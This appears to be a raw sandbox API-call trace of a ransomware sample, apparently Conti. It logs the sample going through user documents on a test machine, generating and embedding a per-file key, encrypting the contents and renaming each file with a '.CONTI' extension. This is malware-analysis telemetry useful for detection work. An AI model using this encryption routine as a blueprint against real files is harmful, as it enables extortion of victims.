	[0138.015] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Zqc4CJVvkIwVoqSK.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\zqc4cjvvkiwvoqsk.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0138.015] GetLastError () returned 0x0
	[0138.015] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=27860) returned 1
	[0138.016] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6cd4
	[0138.016] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.016] SetEndOfFile (hFile=0x458) returned 1
	[0138.016] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.016] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.016] WriteFile (in: hFile=0x458, lpBuffer=0x6b4a07c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b4a07c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0138.052] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.052] ReadFile (in: hFile=0x458, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x6cd4, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x6cd4, lpOverlapped=0x0) returned 1
	[0138.057] CryptEncrypt (in: hKey=0x6b7ebb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x6cd4, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x6ce0) returned 1
	[0138.057] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.057] WriteFile (in: hFile=0x458, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x6ce0, lpOverlapped=0x0) returned 1
	[0138.057] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.057] WriteFile (in: hFile=0x458, lpBuffer=0x6b4a070*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b4a070*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0138.057] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.057] CloseHandle (hObject=0x458) returned 1
	[0138.058] GetProcessHeap () returned 0x1720000
	[0138.058] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0138.058] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\Zqc4CJVvkIwVoqSK.swf" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\Zqc4CJVvkIwVoqSK.swf") returned="C:\\Users\\FD1HVy\\Desktop\\Zqc4CJVvkIwVoqSK.swf"
	[0138.058] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\Zqc4CJVvkIwVoqSK.swf", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\Zqc4CJVvkIwVoqSK.swf.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\Zqc4CJVvkIwVoqSK.swf.CONTI"
	[0138.058] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\Zqc4CJVvkIwVoqSK.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\zqc4cjvvkiwvoqsk.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\Zqc4CJVvkIwVoqSK.swf.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\zqc4cjvvkiwvoqsk.swf.conti")) returned 1
	[0138.058] GetProcessHeap () returned 0x1720000
	[0138.058] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0138.058] CryptDestroyKey (hKey=0x6b7ebb8) returned 1
	[0138.058] GetProcessHeap () returned 0x1720000
	[0138.058] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cb880 | out: hHeap=0x1720000) returned 1
	[0138.058] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0138.058] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b4cbd0 | out: phKey=0x6b4cbd0*=0x6b7e7f8) returned 1
	[0138.058] CryptExportKey (in: hKey=0x6b7e7f8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4cbd4, pdwDataLen=0x433f9bc | out: pbData=0x6b4cbd4*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0138.059] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\74k4ga3obuXnSXirth.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\74k4ga3obuxnsxirth.xlsx")) returned 0x20
	[0138.059] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\74k4ga3obuXnSXirth.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\74k4ga3obuxnsxirth.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0138.059] GetLastError () returned 0x0
	[0138.059] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=48380) returned 1
	[0138.059] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xbcfc
	[0138.060] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.060] SetEndOfFile (hFile=0x458) returned 1
	[0138.060] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.060] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.060] WriteFile (in: hFile=0x458, lpBuffer=0x6b4cbd4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b4cbd4*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0138.071] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.071] ReadFile (in: hFile=0x458, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0xbcfc, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0xbcfc, lpOverlapped=0x0) returned 1
	[0138.074] CryptEncrypt (in: hKey=0x6b7e7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0xbcfc, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0xbd00) returned 1
	[0138.074] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.074] WriteFile (in: hFile=0x458, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0xbd00, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0xbd00, lpOverlapped=0x0) returned 1
	[0138.074] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.074] WriteFile (in: hFile=0x458, lpBuffer=0x6b4cbc8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b4cbc8*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0138.074] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.074] CloseHandle (hObject=0x458) returned 1
	[0138.078] GetProcessHeap () returned 0x1720000
	[0138.078] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6556868
	[0138.079] lstrcpyW (in: lpString1=0x6556868, lpString2="C:\\Users\\FD1HVy\\Documents\\74k4ga3obuXnSXirth.xlsx" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\74k4ga3obuXnSXirth.xlsx") returned="C:\\Users\\FD1HVy\\Documents\\74k4ga3obuXnSXirth.xlsx"
	[0138.079] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\74k4ga3obuXnSXirth.xlsx", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\74k4ga3obuXnSXirth.xlsx.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\74k4ga3obuXnSXirth.xlsx.CONTI"
	[0138.079] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\74k4ga3obuXnSXirth.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\74k4ga3obuxnsxirth.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\74k4ga3obuXnSXirth.xlsx.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\74k4ga3obuxnsxirth.xlsx.conti")) returned 1
	[0138.080] GetProcessHeap () returned 0x1720000
	[0138.080] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6556868 | out: hHeap=0x1720000) returned 1
	[0138.080] CryptDestroyKey (hKey=0x6b7e7f8) returned 1
	[0138.080] GetProcessHeap () returned 0x1720000
	[0138.080] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65deed0 | out: hHeap=0x1720000) returned 1
	[0138.080] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0138.122] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b4fbb8 | out: phKey=0x6b4fbb8*=0x6b7f438) returned 1
	[0138.122] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4fbbc, pdwDataLen=0x433f9bc | out: pbData=0x6b4fbbc*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0138.123] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\dOtUoVIXkr0JK4M.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\dotuovixkr0jk4m.xlsx")) returned 0x20
	[0138.123] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\dOtUoVIXkr0JK4M.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\dotuovixkr0jk4m.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0138.123] GetLastError () returned 0x0
	[0138.123] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=62670) returned 1
	[0138.123] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf4ce
	[0138.123] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.124] SetEndOfFile (hFile=0x448) returned 1
	[0138.124] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.124] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.124] WriteFile (in: hFile=0x448, lpBuffer=0x6b4fbbc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b4fbbc*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0138.125] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.125] ReadFile (in: hFile=0x448, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0xf4ce, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0xf4ce, lpOverlapped=0x0) returned 1
	[0138.128] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0xf4ce, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0xf4d0) returned 1
	[0138.128] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.128] WriteFile (in: hFile=0x448, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0xf4d0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0xf4d0, lpOverlapped=0x0) returned 1
	[0138.128] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.128] WriteFile (in: hFile=0x448, lpBuffer=0x6b4fbb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b4fbb0*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0138.128] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.128] CloseHandle (hObject=0x448) returned 1
	[0138.128] GetProcessHeap () returned 0x1720000
	[0138.128] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0138.128] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Documents\\dOtUoVIXkr0JK4M.xlsx" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\dOtUoVIXkr0JK4M.xlsx") returned="C:\\Users\\FD1HVy\\Documents\\dOtUoVIXkr0JK4M.xlsx"
	[0138.128] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\dOtUoVIXkr0JK4M.xlsx", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\dOtUoVIXkr0JK4M.xlsx.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\dOtUoVIXkr0JK4M.xlsx.CONTI"
	[0138.128] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\dOtUoVIXkr0JK4M.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\dotuovixkr0jk4m.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\dOtUoVIXkr0JK4M.xlsx.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\dotuovixkr0jk4m.xlsx.conti")) returned 1
	[0138.129] GetProcessHeap () returned 0x1720000
	[0138.129] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0138.129] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0138.129] GetProcessHeap () returned 0x1720000
	[0138.129] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cbb58 | out: hHeap=0x1720000) returned 1
	[0138.129] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0138.129] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d4f0 | out: phKey=0x6b4d4f0*=0x6b7f438) returned 1
	[0138.129] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d4f4, pdwDataLen=0x433f9bc | out: pbData=0x6b4d4f4*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0138.130] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\gehCxfAM40fOtl3DvzQf.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\gehcxfam40fotl3dvzqf.xlsx")) returned 0x20
	[0138.131] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\gehCxfAM40fOtl3DvzQf.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\gehcxfam40fotl3dvzqf.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0138.131] GetLastError () returned 0x0
	[0138.131] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=67880) returned 1
	[0138.131] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10928
	[0138.131] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.131] SetEndOfFile (hFile=0x448) returned 1
	[0138.131] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.131] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.131] WriteFile (in: hFile=0x448, lpBuffer=0x6b4d4f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b4d4f4*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0138.133] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.133] ReadFile (in: hFile=0x448, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x10928, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x10928, lpOverlapped=0x0) returned 1
	[0138.134] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x10928, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x10930) returned 1
	[0138.134] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.134] WriteFile (in: hFile=0x448, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x10930, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x10930, lpOverlapped=0x0) returned 1
	[0138.134] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.134] WriteFile (in: hFile=0x448, lpBuffer=0x6b4d4e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b4d4e8*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0138.134] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.134] CloseHandle (hObject=0x448) returned 1
	[0138.134] GetProcessHeap () returned 0x1720000
	[0138.134] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0138.135] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Documents\\gehCxfAM40fOtl3DvzQf.xlsx" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\gehCxfAM40fOtl3DvzQf.xlsx") returned="C:\\Users\\FD1HVy\\Documents\\gehCxfAM40fOtl3DvzQf.xlsx"
	[0138.135] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\gehCxfAM40fOtl3DvzQf.xlsx", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\gehCxfAM40fOtl3DvzQf.xlsx.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\gehCxfAM40fOtl3DvzQf.xlsx.CONTI"
	[0138.135] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\gehCxfAM40fOtl3DvzQf.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\gehcxfam40fotl3dvzqf.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\gehCxfAM40fOtl3DvzQf.xlsx.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\gehcxfam40fotl3dvzqf.xlsx.conti")) returned 1
	[0138.135] GetProcessHeap () returned 0x1720000
	[0138.135] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0138.135] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0138.135] GetProcessHeap () returned 0x1720000
	[0138.135] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65deae0 | out: hHeap=0x1720000) returned 1
	[0138.135] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0138.135] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d738 | out: phKey=0x6b4d738*=0x6b7f438) returned 1
	[0138.135] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d73c, pdwDataLen=0x433f9bc | out: pbData=0x6b4d73c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0138.136] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\hstPiaIk7oeu0.odp" (normalized: "c:\\users\\fd1hvy\\documents\\hstpiaik7oeu0.odp")) returned 0x20
	[0138.136] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\hstPiaIk7oeu0.odp" (normalized: "c:\\users\\fd1hvy\\documents\\hstpiaik7oeu0.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0138.136] GetLastError () returned 0x0
	[0138.136] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=101323) returned 1
	[0138.136] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x18bcb
	[0138.137] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.137] SetEndOfFile (hFile=0x448) returned 1
	[0138.137] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.137] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.137] WriteFile (in: hFile=0x448, lpBuffer=0x6b4d73c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b4d73c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0139.133] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.134] ReadFile (in: hFile=0x448, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x18bcb, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x18bcb, lpOverlapped=0x0) returned 1
	[0139.135] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x18bcb, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x18bd0) returned 1
	[0139.135] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.135] WriteFile (in: hFile=0x448, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x18bd0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x18bd0, lpOverlapped=0x0) returned 1
	[0139.135] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.135] WriteFile (in: hFile=0x448, lpBuffer=0x6b4d730*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b4d730*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0139.135] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.135] CloseHandle (hObject=0x448) returned 1
	[0139.135] GetProcessHeap () returned 0x1720000
